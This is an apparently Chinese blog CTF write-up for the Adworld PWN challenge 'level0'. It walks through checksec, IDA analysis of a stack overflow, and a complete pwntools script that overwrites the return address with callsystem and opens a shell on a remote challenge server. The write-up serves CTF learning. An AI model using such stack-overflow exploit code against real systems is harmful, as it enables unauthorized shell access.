ylsy1988

攻防世界PWN简单题 level0

开始考验栈溢出的相关知识了

Checksec 一下文件 看看都开了什么保护 和 是多少位的程序

发现是64位的程序, 扔进IDA64。IDA YYDS。。

进入主函数,通过伪代码分析逻辑,找出栈溢出漏洞

找到了栈溢出漏洞,开始寻找攻击手段。

找到了攻击手段。简单题就是如此简单。找一下callsystem地址,当然也可以直接用pwntools获取

找到了需要的地址0X400596

开始写exp攻击远程服务器

 from pwn import *
io = remote ('111.200.241.244',49536)
#连接远程
elf = ELF('./291721f42a044f50a2aead748d539df0')
#打开本地程序,如果不想用pwntools获取callsystem地址,此步可以注释
payload = b'a'*(0x80+0x8) + p64(elf.symbols['callsystem'])
#构造payload 需要覆盖0x80个地址+上个ebp地址
#也可p64()中替换成0x0x00400596
io.recvuntil("Hello, World\n")
#接收远程的返回
io.send(payload)
#发送payload
io.interactive()
#开始互动,恭喜你获得了shell去查看flag吧

丢进环境,运行一下,ls, cat flag。。。

老师!!!交卷!

相关文章:

  • 2022-12-23
  • 2021-08-27
  • 2021-10-25
  • 2021-05-14
  • 2021-11-03
  • 2021-09-08
  • 2021-05-01
  • 2021-06-04
猜你喜欢
  • 2022-12-23
  • 2021-05-24
  • 2021-11-14
  • 2022-12-23
  • 2021-04-07
  • 2021-11-03
  • 2022-12-23
相关资源
相似解决方案